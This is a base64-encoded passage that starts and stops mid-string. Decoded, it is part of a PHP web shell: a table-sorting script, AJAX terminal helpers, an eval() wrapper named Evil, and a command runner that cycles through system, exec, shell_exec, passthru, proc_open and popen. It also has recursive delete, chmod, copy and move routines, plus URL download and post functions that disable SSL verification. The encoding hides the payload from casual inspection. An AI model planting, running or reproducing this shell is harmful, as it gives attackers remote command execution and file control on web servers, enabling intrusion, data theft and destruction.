JyYXlbcm93X2FycmF5Lmxlbmd0aF09W3NvcnR0YWJsZS5nZXRJbm5lclRleHQocm93c1tlXS5jZWxsc1tjb2xdKSxyb3dzW2VdXTtyb3dfYXJyYXkuc29ydCh0aGlzLnNvcnR0YWJsZV9zb3J0ZnVuY3Rpb24pLHRiPXRoaXMuc29ydHRhYmxlX3Rib2R5O2Zvcih2YXIgZT0wO2U8cm93X2FycmF5Lmxlbmd0aDtlKyspdGIuYXBwZW5kQ2hpbGQocm93X2FycmF5W2VdWzFdKTtkZWxldGUgcm93X2FycmF5fSkpfX0sZ3Vlc3NUeXBlOmZ1bmN0aW9uKHQsZSl7c29ydGZuPXNvcnR0YWJsZS5zb3J0X2FscGhhO2Zvcih2YXIgcj0wO3I8dC50Qm9kaWVzWzBdLnJvd3MubGVuZ3RoO3IrKylpZih0ZXh0PXNvcnR0YWJsZS5nZXRJbm5lclRleHQodC50Qm9kaWVzWzBdLnJvd3Nbcl0uY2VsbHNbZV0pLCIiIT10ZXh0KXtpZih0ZXh0Lm1hdGNoKC9eLT9bJnBvdW5kOyQmY3VycmVuO10/W1xkLC5dKyU/JC8pKXJldHVybiBzb3J0dGFibGUuc29ydF9udW1lcmljO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLkRBVEVfUkUpLHBvc3NkYXRlKXtpZihmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSksc2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKSxmaXJzdD4xMilyZXR1cm4gc29ydHRhYmxlLnNvcnRfZGRtbTtpZihzZWNvbmQ+MTIpcmV0dXJuIHNvcnR0YWJsZS5zb3J0X21tZGQ7c29ydGZuPXNvcnR0YWJsZS5zb3J0X2RkbW19fXJldHVybiBzb3J0Zm59LGdldElubmVyVGV4dDpmdW5jdGlvbih0KXtpZighdClyZXR1cm4iIjtpZihoYXNJbnB1dHM9ImZ1bmN0aW9uIj09dHlwZW9mIHQuZ2V0RWxlbWVudHNCeVRhZ05hbWUmJnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlucHV0IikubGVuZ3RoLG51bGwhPXQuZ2V0QXR0cmlidXRlKCJzb3J0dGFibGVfY3VzdG9ta2V5IikpcmV0dXJuIHQuZ2V0QXR0cmlidXRlKCJzb3J0dGFibGVfY3VzdG9ta2V5Iik7aWYodm9pZCAwIT09dC50ZXh0Q29udGVudCYmIWhhc0lucHV0cylyZXR1cm4gdC50ZXh0Q29udGVudC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYodm9pZCAwIT09dC5pbm5lclRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIHQuaW5uZXJUZXh0LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZih2b2lkIDAhPT10LnRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIHQudGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7c3dpdGNoKHQubm9kZVR5cGUpe2Nhc2UgMzppZigiaW5wdXQiPT10Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpcmV0dXJuIHQudmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgNDpyZXR1cm4gdC5ub2RlVmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgMTpjYXNlIDExOmZvcih2YXIgZT0iIixyPTA7cjx0LmNoaWxkTm9kZXMubGVuZ3RoO3IrKyllKz1zb3J0dGFibGUuZ2V0SW5uZXJUZXh0KHQuY2hpbGROb2Rlc1tyXSk7cmV0dXJuIGUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2RlZmF1bHQ6cmV0dXJuIiJ9fSxyZXZlcnNlOmZ1bmN0aW9uKHQpe25ld3Jvd3M9W107Zm9yKGU9MDtlPHQucm93cy5sZW5ndGg7ZSsrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPXQucm93c1tlXTtmb3IodmFyIGU9bmV3cm93cy5sZW5ndGgtMTtlPj0wO2UtLSl0LmFwcGVuZENoaWxkKG5ld3Jvd3NbZV0pO2RlbGV0ZSBuZXdyb3dzfSxzb3J0X251bWVyaWM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gYWE9cGFyc2VGbG9hdCh0WzBdLnJlcGxhY2UoL1teMC05Li1dL2csIiIpKSxpc05hTihhYSkmJihhYT0wKSxiYj1wYXJzZUZsb2F0KGVbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpLGlzTmFOKGJiKSYmKGJiPTApLGFhLWJifSxzb3J0X2FscGhhOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHRbMF09PWVbMF0/MDp0WzBdPGVbMF0/LTE6MX0sc29ydF9kZG1tOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIG10Y2g9dFswXS5tYXRjaChzb3J0dGFibGUuREFURV9SRSkseT1tdGNoWzNdLG09bXRjaFsyXSxkPW10Y2hbMV0sMT09bS5sZW5ndGgmJihtPSIwIittKSwxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpLGR0MT15K20rZCxtdGNoPWVbMF0ubWF0Y2goc29ydHRhYmxlLkRBVEVfUkUpLHk9bXRjaFszXSxtPW10Y2hbMl0sZD1tdGNoWzFdLDE9PW0ubGVuZ3RoJiYobT0iMCIrbSksMT09ZC5sZW5ndGgmJihkPSIwIitkKSxkdDI9eSttK2QsZHQxPT1kdDI/MDpkdDE8ZHQyPy0xOjF9LHNvcnRfbW1kZDpmdW5jdGlvbih0LGUpe3JldHVybiBtdGNoPXRbMF0ubWF0Y2goc29ydHRhYmxlLkRBVEVfUkUpLHk9bXRjaFszXSxkPW10Y2hbMl0sbT1tdGNoWzFdLDE9PW0ubGVuZ3RoJiYobT0iMCIrbSksMT09ZC5sZW5ndGgmJihkPSIwIitkKSxkdDE9eSttK2QsbXRjaD1lWzBdLm1hdGNoKHNvcnR0YWJsZS5EQVRFX1JFKSx5PW10Y2hbM10sZD1tdGNoWzJdLG09bXRjaFsxXSwxPT1tLmxlbmd0aCYmKG09IjAiK20pLDE9PWQubGVuZ3RoJiYoZD0iMCIrZCksZHQyPXkrbStkLGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxzaGFrZXJfc29ydDpmdW5jdGlvbih0LGUpe2Zvcih2YXIgcj0wLG89dC5sZW5ndGgtMSxuPSEwO247KXtuPSExO2ZvcihzPXI7czxvOysrcylpZihlKHRbc10sdFtzKzFdKT4wKXthPXRbc107dFtzXT10W3MrMV0sdFtzKzFdPWEsbj0hMH1pZihvLS0sIW4pYnJlYWs7Zm9yKHZhciBzPW87cz5yOy0tcylpZihlKHRbc10sdFtzLTFdKTwwKXt2YXIgYT10W3NdO3Rbc109dFtzLTFdLHRbcy0xXT1hLG49ITB9cisrfX19LGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXImJmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLHNvcnR0YWJsZS5pbml0LCExKSwvV2ViS2l0L2kudGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl2YXIgX3RpbWVyPXNldEludGVydmFsKGZ1bmN0aW9uKCl7L2xvYWRlZHxjb21wbGV0ZS8udGVzdChkb2N1bWVudC5yZWFkeVN0YXRlKSYmc29ydHRhYmxlLmluaXQoKX0sMTApO3dpbmRvdy5vbmxvYWQ9c29ydHRhYmxlLmluaXQsZGVhbl9hZGRFdmVudC5ndWlkPTEsZml4RXZlbnQucHJldmVudERlZmF1bHQ9ZnVuY3Rpb24oKXt0aGlzLnJldHVyblZhbHVlPSExfSxmaXhFdmVudC5zdG9wUHJvcGFnYXRpb249ZnVuY3Rpb24oKXt0aGlzLmNhbmNlbEJ1YmJsZT0hMH0sQXJyYXkuZm9yRWFjaHx8KEFycmF5LmZvckVhY2g9ZnVuY3Rpb24odCxlLHIpe2Zvcih2YXIgbz0wO288dC5sZW5ndGg7bysrKWUuY2FsbChyLHRbb10sbyx0KX0pLEZ1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKHQsZSxyKXtmb3IodmFyIG8gaW4gdCl2b2lkIDA9PT10aGlzLnByb3RvdHlwZVtvXSYmZS5jYWxsKHIsdFtvXSxvLHQpfSxTdHJpbmcuZm9yRWFjaD1mdW5jdGlvbih0LGUscil7QXJyYXkuZm9yRWFjaCh0LnNwbGl0KCIiKSxmdW5jdGlvbihvLG4pe2UuY2FsbChyLG8sbix0KX0pfTt2YXIgZm9yRWFjaD1mdW5jdGlvbih0LGUscil7aWYodCl7dmFyIG89T2JqZWN0O2lmKHQgaW5zdGFuY2VvZiBGdW5jdGlvbilvPUZ1bmN0aW9uO2Vsc2V7aWYodC5mb3JFYWNoIGluc3RhbmNlb2YgRnVuY3Rpb24pcmV0dXJuIHZvaWQgdC5mb3JFYWNoKGUscik7InN0cmluZyI9PXR5cGVvZiB0P289U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgdC5sZW5ndGgmJihvPUFycmF5KX1vLmZvckVhY2godCxlLHIpfX07DQo8L3NjcmlwdD4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCgl2YXIgeGhyOw0KCXdpbmRvdy5vbmxvYWQ9ZnVuY3Rpb24oKXsNCgkJZ2V0Rm9jdXMoInRlcm1pbmFsLWlucHV0Iik7DQoJCWdldEZvY3VzKCJmaW5kLWFjdGlvbiIpOw0KCQlnZXRGb2N1cygic291cmNlZm9jdXMiKTsNCgkJZ2V0Rm9jdXMoInBocC1jb2RlIik7DQoJfTsNCglmdW5jdGlvbiBnZXRGb2N1cyhpZCl7DQoJCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKSE9PW51bGwpew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuZm9jdXMoKTt9DQoJfQ0KCWZ1bmN0aW9uIGdldEFqYXgodHh0LGlkLG1ldGhvZCx1cmwpew0KCQl2YXIgeG1saHR0cDsNCgkJdmFyIHVybGY9IiI7DQoJCXZhciBkYXRhPW5ldyBGb3JtRGF0YSgpOw0KCQl2YXIgcGFyYW1zPXVybC5zcGxpdCgiJiIpOw0KCQlmb3IoaT0wO2k8cGFyYW1zLmxlbmd0aDtpKyspew0KCQl2YWw9cGFyYW1zW2ldLnNwbGl0KCI9Iik7DQoJCWlmKHZhbFswXT09J3RleHQtZW5jb2RlJyl7DQoJCWRhdGEuYXBwZW5kKHZhbFswXSx2YWxbMV0pOw0KCQl9ZWxzZXtpZih2YWxbMF0uaW5kZXhPZignPycpPDApDQoJCXt1cmxmKz0nJicrdmFsWzBdKyc9Jyt2YWxbMV07fX19DQoJCWlmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCl7eG1saHR0cD1uZXcgWE1MSHR0cFJlcXVlc3QoKTsNCgkJfWVsc2V7eG1saHR0cD1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTt9DQoJCXhtbGh0dHAub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7DQoJCXN0cz1bIlJlcXVlc3QgTm90IEluaXRpYWxpemVkIiwNCgkJIlNlcnZlciBDb25uZWN0aW9uIEVzdGFibGlzaGVkIiwNCgkJIlJlcXVlc3QgUmVjZWl2ZWQiLA0KCQkiUHJvY2Vzc2luZyBSZXF1ZXN0IiwNCgkJIlJlcXVlc3QgRmluaXNoZWQiXTsNCgkJaWYoeG1saHR0cC5yZWFkeVN0YXRlPT00JiZ4bWxodHRwLnN0YXR1cz09MjAwKXsNCgkJaWYodHh0KXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuaW5uZXJIVE1MPXhtbGh0dHAucmVzcG9uc2VUZXh0Ow0KCQl9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkudmFsdWU9eG1saHR0cC5yZXNwb25zZVRleHQ7fQ0KCQl9ZWxzZXsNCgkJaWYodHh0KXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuaW5uZXJIVE1MPQ0KCQkiW1N0YXR1c10gIisiUGxlYXNlIFdhaXQuLi4gPGRpdiBjbGFzcz0nbG9hZGluZyc+PC9kaXY+PGJyPiIrDQoJCSJbU3RhdGVdICIrc3RzW3htbGh0dHAucmVhZHlTdGF0ZV0rIjxicj4iKw0KCQkiW1Jlc3BvbnNlXSAiK3htbGh0dHAucmVzcG9uc2U7DQoJCX1lbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS52YWx1ZT0NCgkJIltTdGF0dXNdICIrIlBsZWFzZSBXYWl0Li4uXG4iKw0KCQkiW1N0YXRlXSAiK3N0c1t4bWxodHRwLnJlYWR5U3RhdGVdKyJcbiIrDQoJCSJbUmVzcG9uc2VdICIreG1saHR0cC5yZXNwb25zZTt9fQ0KCQl9Ow0KCQl4bWxodHRwLm9wZW4obWV0aG9kLHdpbmRvdy5sb2NhdGlvbi5ocmVmK3VybGYsdHJ1ZSk7DQoJCXhtbGh0dHAuc2VuZChkYXRhKTsNCgkJeGhyPXhtbGh0dHA7DQoJfQ0KCWZ1bmN0aW9uIGFqYXhBYm9ydCh0eHQsaWQpew0KCQlpZih0eHQpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lckhUTUw9IkNhbmNlbGVkIjsNCgkJfWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnZhbHVlPSJDYW5jZWxlZCI7fQ0KCQl4aHIuYWJvcnQoKTsNCgl9DQoJZnVuY3Rpb24gY2hlY2tBbGwoKXsNCgkJZm9yKHZhciBpPTA7aTxkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hrW10nKS5sZW5ndGg7aSsrKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2Noa1tdJylbaV0uY2hlY2tlZD1kb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hlY2stYWxsJylbMF0uY2hlY2tlZDt9DQoJfQ0KCWZ1bmN0aW9uIGNoZWNrQ291bnQoaWQpew0KCQljb3VudD0xOw0KCQlmb3IodmFyIGk9MDtpPGRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdjaGtbXScpLmxlbmd0aDtpKyspew0KCQlpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hrW10nKVtpXS5jaGVja2VkKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmlubmVySFRNTD1jb3VudCsrOw0KCQl9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuaW5uZXJIVE1MPWNvdW50LTE7fX0NCgl9DQoJZnVuY3Rpb24gbWFwU3dpdGNoKGlkLGlkMil7DQoJCXZhciBhPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCgkJdmFyIGI9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQyKTsNCgkJaWYoYS5zdHlsZS5kaXNwbGF5PT0naW5saW5lLWJsb2NrJyl7DQoJCWEuc3R5bGUuZGlzcGxheT0nbm9uZSc7DQoJCWIuc3R5bGUuZGlzcGxheT0naW5saW5lLWJsb2NrJzsNCgkJfWVsc2V7YS5zdHlsZS5kaXNwbGF5PSdpbmxpbmUtYmxvY2snOw0KCQliLnN0eWxlLmRpc3BsYXk9J25vbmUnO30NCgl9DQoJZnVuY3Rpb24gZ2V0UGFyYW1ldGVyKHApIHsNCgkJdmFyIHNlYXJjaFN0cmluZz13aW5kb3cubG9jYXRpb24uc2VhcmNoLnN1YnN0cmluZygxKSwNCgkJaSx2YWwscGFyYW1zPXNlYXJjaFN0cmluZy5zcGxpdCgiJiIpOw0KCQlmb3IoaT0wO2k8cGFyYW1zLmxlbmd0aDtpKyspew0KCQl2YWw9cGFyYW1zW2ldLnNwbGl0KCI9Iik7DQoJCWlmKHZhbFswXT09cCl7DQoJCXJldHVybiB2YWxbMV07fX0NCgkJcmV0dXJuIG51bGw7DQoJfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgaWQ9IndyYXBwZXIiPjw/cGhwDQoNCiRjdXI9YW55KCJjIiwkX1NFU1NJT04pP3VybGQoJF9TRVNTSU9OWydjJ10pOmdldGN3ZCgpOw0KJGRpcj1hbnkoImQiLCRfUkVRVUVTVCk/dXJsZCgkX1JFUVVFU1RbJ2QnXSk6JGN1cjsNCiRtYXA9YW55KCJyIiwkX1JFUVVFU1QpP2Rpcm5hbWUodXJsZCgkX1JFUVVFU1RbJ3InXSkpOiRkaXI7DQoNCmZ1bmN0aW9uIFVuaXgoKSANCnsNCglyZXR1cm4oc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpIT0id2luIik7DQp9DQoNCmZ1bmN0aW9uIEV2aWwoJHgsJHk9ZmFsc2UpDQp7DQoJJGM9JHk9PXRydWU/Ij8+Ii4keC4iPD9waHAgIjokeDsNCgkkZXZpbD1AZXZhbCgkYyk7DQoJaWYoZXJyb3JfZ2V0X2xhc3QoKSkNCgl7DQoJCXByaW50ICJcbltFcnJvcl0gIjsNCgkJcmV0dXJuIHByaW50X3IoZXJyb3JfZ2V0X2xhc3QoKSk7DQoJfQ0KCXJldHVybiAkZXZpbDsNCn0NCg0KZnVuY3Rpb24gRXhlY3V0ZSgkeCkNCnsNCgkkeD0keC4nIDI+JjEnOw0KCWlmKCFpc19udWxsKCRiYWNrdGljPWAkeGApKQ0KCXsNCgkJcmV0dXJuICRiYWNrdGljOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgl7DQoJCW9iX3N0YXJ0KCk7DQoJCSRzeXN0ZW09c3lzdGVtKCR4KTsNCgkJJGJ1ZmY9b2JfZ2V0X2NvbnRlbnRzKCk7DQoJCW9iX2VuZF9jbGVhbigpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCgl7DQoJCSRidWZmPSIiOw0KCQlleGVjKCR4LCRyZXN1bHRzKTsNCgkJZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KQ0KCQl7DQoJCQkkYnVmZi49JHJlc3VsdDsNCgkJfQ0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgl7DQoJCSRidWZmPXNoZWxsX2V4ZWMoJHgpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2V4ZWMnKSkNCgl7DQoJCSRidWZmPXBjbnRsX2V4ZWMoJHgpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpDQoJew0KCQlvYl9zdGFydCgpOwkJDQoJCSRwYXNzdGhydT1wYXNzdGhydSgkeCk7DQoJCSRidWZmPW9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsJDQoJCXJldHVybiAkYnVmZjsNCgl9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpDQoJew0KCQkkcHJvYz1wcm9jX29wZW4oJHgsYXJyYXkoDQoJCQlhcnJheSgicGlwZSIsInIiKSwNCgkJCWFycmF5KCJwaXBlIiwidyIpLA0KCQkJYXJyYXkoInBpcGUiLCJ3IikNCgkJKSwkcGlwZXMpOw0KCQkkYnVmZj1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7DQoJCXJldHVybiAkYnVmZjsNCgl9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkNCgl7DQoJCSRidWZmPSIiOw0KCQkkcG9wPXBvcGVuKCR4LCJyIik7DQoJCXdoaWxlKCFmZW9mKCRwb3ApKQ0KCQl7DQoJCQkkYnVmZi49ZnJlYWQoJHBvcCwxMDI0KTsNCgkJfQ0KCQlwY2xvc2UoJHBvcCk7DQoJCXJldHVybiAkYnVmZjsNCgl9DQoJcmV0dXJuICJSLkkuUCBDb21tYW5kIjsNCn0NCg0KZnVuY3Rpb24gUmVtb3ZlKCR4KQ0Kew0KCWlmKGlzX2RpcigkeCkpDQoJew0KCQlpZigkaD1Ab3BlbmRpcigkeCkpDQoJCXsNCgkJCXdoaWxlKGZhbHNlIT09KCRmPXJlYWRkaXIoJGgpKSkNCgkJCXsNCgkJCQlpZigkZiE9Ii4iJiYkZiE9Ii4uIikNCgkJCQl7DQoJCQkJCVJlbW92ZSgkeC5fLiRmKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcigkaCk7DQoJCX0NCgkJcmV0dXJuIHJtZGlyKCR4KTsNCgl9DQoJZWxzZWlmKGlzX2ZpbGUoJHgpKQ0KCXsNCgkJcmV0dXJuIHVubGluaygkeCk7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gQ2htb2RSZWN1cnNpdmUoJHgsJHkpDQp7DQoJaWYoaXNfZGlyKCR4KSkNCgl7DQoJCWlmKCRoPUBvcGVuZGlyKCR4KSkNCgkJew0KCQkJd2hpbGUoZmFsc2UhPT0oJGY9cmVhZGRpcigkaCkpKQ0KCQkJew0KCQkJCWlmKCRmIT0iLiImJiRmIT0iLi4iKQ0KCQkJCXsNCgkJCQkJQ2htb2RSZWN1cnNpdmUoJHguXy4kZik7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGgpOw0KCQl9DQoJCXJldHVybiBjaG1vZCgkeCwkeSk7DQoJfQ0KCWVsc2VpZihpc19maWxlKCR4KSkNCgl7DQoJCXJldHVybiBjaG1vZCgkeCwkeSk7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gQ29weVJlY3Vyc2l2ZSgkeCwkeSkNCnsNCglpZihpc19kaXIoJHgpKQ0KCXsNCgkJQG1rZGlyKCR5KTsNCgkJaWYoJGg9QG9wZW5kaXIoJHgpKQ0KCQl7DQoJCQl3aGlsZShmYWxzZSE9PSgkZj1yZWFkZGlyKCRoKSkpDQoJCQl7DQoJCQkJaWYoJGYhPSIuIiYmJGYhPSIuLiIpDQoJCQkJew0KCQkJCQlDb3B5UmVjdXJzaXZlKCR4Ll8uJGYsJHkuXy4kZik7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGgpOw0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX0NCgllbHNlaWYoaXNfZmlsZSgkeCkpDQoJew0KCQlyZXR1cm4gY29weSgkeCwkeSk7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gTW92ZVJlY3Vyc2l2ZSgkeCwkeSkNCnsNCglpZihpc19kaXIoJHgpKQ0KCXsNCgkJQG1rZGlyKCR5KTsNCgkJaWYoJGg9QG9wZW5kaXIoJHgpKQ0KCQl7DQoJCQl3aGlsZShmYWxzZSE9PSgkZj1yZWFkZGlyKCRoKSkpDQoJCQl7DQoJCQkJaWYoJGYhPSIuIiYmJGYhPSIuLiIpDQoJCQkJew0KCQkJCQlNb3ZlUmVjdXJzaXZlKCR4Ll8uJGYsJHkuXy4kZik7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGgpOw0KCQl9DQoJCXJldHVybiBSZW1vdmUoJHgpOw0KCX0NCgllbHNlaWYoaXNfZmlsZSgkeCkpDQoJew0KCQlpZihjb3B5KCR4LCR5KSkNCgkJew0KCQkJcmV0dXJuIHVubGluaygkeCk7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBHZXREb3dubG9hZFVybCgkeCwkeSkNCnsNCglnbG9iYWwgJGFnZW50Ow0KCSRmbD1mb3BlbigkeSwidyIpOw0KCSRjaD1jdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VU0VSQUdFTlQsJGFnZW50KTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHgpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0ZJTEUsJGZsKTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsMCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQoJJHJzPWN1cmxfZXhlYygkY2gpOw0KCWlmKGN1cmxfZXJyb3IoJGNoKSkgcmV0dXJuIGN1cmxfZXJyb3IoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJZmNsb3NlKCRmbCk7DQoJcmV0dXJuIHRydWU7DQp9DQoNCmZ1bmN0aW9uIEdldFVybEV4aXN0cygkeCkNCnsNCglnbG9iYWwgJGFnZW50Ow0KCSRjaD1jdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VU0VSQUdFTlQsJGFnZW50KTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHgpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1RJTUVPVVQsNSk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsNSk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQoJJHJzPWN1cmxfZXhlYygkY2gpOw0KCSRodHRwPWN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fSFRUUF9DT0RFKTsNCglpZihjdXJsX2Vycm9yKCRjaCkpIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQoJY3VybF9jbG9zZSgkY2gpOw0KCXJldHVybiAoJGh0dHA+PTIwMCAmJiAkaHR0cDwzMDApOw0KfQ0KDQpmdW5jdGlvbiBHZXRVcmxDb250ZW50KCR4KQ0Kew0KCWdsb2JhbCAkYWdlbnQ7DQoJJGNoPWN1cmxfaW5pdCgpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VTRVJBR0VOVCwkYWdlbnQpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwkeCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQoJJHJzPWN1cmxfZXhlYygkY2gpOw0KCWlmKGN1cmxfZXJyb3IoJGNoKSkgcmV0dXJuIGN1cmxfZXJyb3IoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRyczsNCn0NCg0KZnVuY3Rpb24gR2V0VXJsRnJvbVBhdGgoJHgpDQp7DQoJJGZpeF9wYXRoPXN0cl9yZXBsYWNlKF8sJy8nLCR4KTsNCgkkcHJvdG9jb2w9ZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pfHwkX1NFUlZFUlsnSFRUUFMnXT09PSdvZmYnPydodHRwOi8vJzonaHR0cHM6Ly8nOw0KCSRwYXRoPXN0cl9yZXBsYWNlKGRvY3VtZW50X3Jvb3QsJycsJGZpeF9wYXRoKTsNCglyZXR1cm4gJHByb3RvY29sLnNlcnZlcl9uYW1lLiRwYXRoOw0KfQ0KDQpmdW5jdGlvbiBQb3N0VXJsQ29udGVudCgkdXJsLCRjb250ZW50KQ0Kew0KCWdsb2JhbCAkYWdlbnQ7DQoJJHBhcmFtcz1hcnJheSgNCgkJJ2h0dHAnID0+IGFycmF5KA0KCQkJJ21ldGhvZCcgID0+ICJQT1NUIiwNCgkJCSdoZWFkZXInICA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIi4NCgkJCQkJCSAiVXNlci1BZ2VudDogJGFnZW50XHJcbiIsDQoJCQknY29udGVudCcgPT4gaHR0cF9idWlsZF9xdWVyeSgkY29udGVudCkNCgkJKQ0KCSk7DQoJJHJlc3VsdHM9IiI7DQoJJGNvbnRleHQ9c3RyZWFtX2NvbnRleHRfY3JlYXRlKCRwYXJhbXMpOw0KCSRoZWFkZXI9Z2V0X2hlYWRlcnMoJHVybCk7DQoJaWYoJGh0dHA9c3Vic3RyKCRoZWFkZXJbMF0sOSwzKSAhPSAiMjAwIikNCgl7DQoJICAgICRyZXN1bHRzPSJFcnJvcjogJGh0dHAiOw0KCX0NCgllbHNlDQoJew0KCQkvL2ZpbGVfZ2V0X2NvbnRlbnRzDQoJCWlmKCRjb250ZW50cz1maWxlX2dldF9jb250ZW50cygkdXJsLG51bGwsJGNvbnRleHQpKQ0KCQl7DQoJCQkkcmVzdWx0cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJCX0NCg0KCQkvL3N0cmVhbV9nZXRfY29udGVudHMNCgkJaWYoJGhhbmRsZT1mb3BlbigkdXJsLCdyJyxmYW